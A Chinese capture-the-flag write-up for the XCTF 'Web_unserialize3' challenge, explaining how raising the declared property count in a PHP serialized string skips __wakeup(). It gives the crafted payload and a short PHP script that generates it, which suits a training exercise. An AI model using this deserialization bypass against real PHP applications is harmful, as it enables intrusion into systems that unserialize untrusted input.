题目:

直接给源码,审计代码,又是一题反序列化的。传送门:反序列化漏洞

【原理】

PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。

当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

解题思路:

1.打开题目,进行代码审计,可以看到xctf类只拥有一个public的flag变量,值为111。

2.public属性序列化后格式为:数据类型:属性名长度:"属性名";属性值个数:{数据类型:属性值长度:"属性值";}

3.本题目中,只存在一个变量,正常情况下序列化后,如下所示

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

4.将设置属性值为2,可导致反序列化异常,如下所示。

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

将修改后的code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}加入url中看看结果

代码如下:https://tool.lu/coderunner/?id=c7R在线运行代码工具。

 1 <?php
2 class xctf{
3 public $flag = '111';
4 public function __wakeup(){
5 exit('bad requests');
6 }
7 }
8 // ?code=
9 $a = new xctf("111"); // 创建一个对象
10 echo serialize($a)."\n"; // 序列化
11 // 序列化结果 O:4:"xctf":1:{s:4:"flag";s:3:"111";}
12 $b = serialize($a);
13 $b = str_replace(':1:',':2:',$b); // 当成员属性数目大于实际数目时可绕过wakeup方法
14 echo $b."\n";
15 // 修改后结果 O:4:"xctf":2:{s:4:"flag";s:3:"111";}

==================================================

总结:

当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

攻防世界之Web_unserialize3的更多相关文章

  1. CTF--web 攻防世界web题 robots backup

    攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...

  2. CTF--web 攻防世界web题 get_post

    攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...

  3. 攻防世界 web进阶练习 NewsCenter

    攻防世界 web进阶练习 NewsCenter   题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...

  4. 【攻防世界】高手进阶 pwn200 WP

    题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...

  5. XCTF攻防世界Web之WriteUp

    XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...

  6. 攻防世界 | CAT

    来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...

  7. 攻防世界 robots题

    来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...

  8. 【攻防世界】 高手进阶区 Recho WP

    0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...

  9. CTF -攻防世界-crypto新手区(5~11)

    easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间  明明没算错 ...

随机推荐

  1. 【Java常用类】DateTimeFormatter

    DateTimeFormatter 方式一:预定义的标准格式 实例化 如:ISO_LOCAL_DATE_TIME;ISO_LOCAL_DATE;ISO_LOCAL_TIME DateTimeForma ...

  2. MCU软件最佳实践——矩阵键盘驱动

    1.矩阵键盘vs独立按键 在mcu应用开发过程中,独立按键比较常见,但是在需要的按键数比较多时,使用矩阵键盘则可以减少io占用,提高系统资源利用率.例如,某mcu项目要求有16个按钮,如果采用独立按键 ...

  3. 介绍一下主流的浏览器的开发者工具(js调试和查看网络请求)

    1.打开开发者工具:右键-->检查 (快捷键 f12) 2.开发者工具介绍: (1): 选择页面的dom进行查看 (2):设备适配 (3)元素: ① 可以查找到界面对应的dom: ② 通过计算样 ...

  4. 【记录一个问题】铁威马NAS,升级系统后,所有安装的配置项都丢失了

    因为铁威马的系统功能真的是弱,所以写了一些家庭照片处理的系统. 上上周升级了系统后,丢失了以下内容: anaconda 2.及其conda下python3环境的各种库 3.nginx的转发配置 铁威马 ...

  5. Redis的几点积累

    1.Redis比memcache快 Redis具有事务,持久化等机制,但是它还能做到高性能,原因包括如下: Libevent.和Memcached不同,Redis并没有选择libevent.Libev ...

  6. 你可能不知道的Animation动画技巧与细节

    引言 在web应用中,前端同学在实现动画效果时往往常用的几种方案: css3 transition / animation - 实现过渡动画 setInterval / setTimeout - 通过 ...

  7. python列表和索引--7

    备注:列表元素索引下限从0开始,列表用[ ]表示

  8. expect.sh

    #!/usr/bin/expect spawn /usr/bin/ssh root@192.168.43.43 -p 22 expect "password:" send &quo ...

  9. RSS生成工具/服务推荐

    时至2022,关于碎片化阅读.信息焦虑的讨论仍在继续且似乎并没有形成广泛共识的解决办法.而研究生期间主要研究方向就是推荐系统且未来也大概率从事相关岗位的我,对以算法为中心的信息获取方式可以说是又爱又恨 ...

  10. JVM诊断及工具笔记(2)使用arthas定位哪里执行了System#gc()

    笔者是汽车之家实时计算平台的一名小伙伴.负责flink平台,数据湖及kafka平台的设计与开发.平时擅长做平台设计,定位及解决各种疑难杂症.第二篇文章,讲的点依旧很小,但是这次图多!!! 在这里感谢支 ...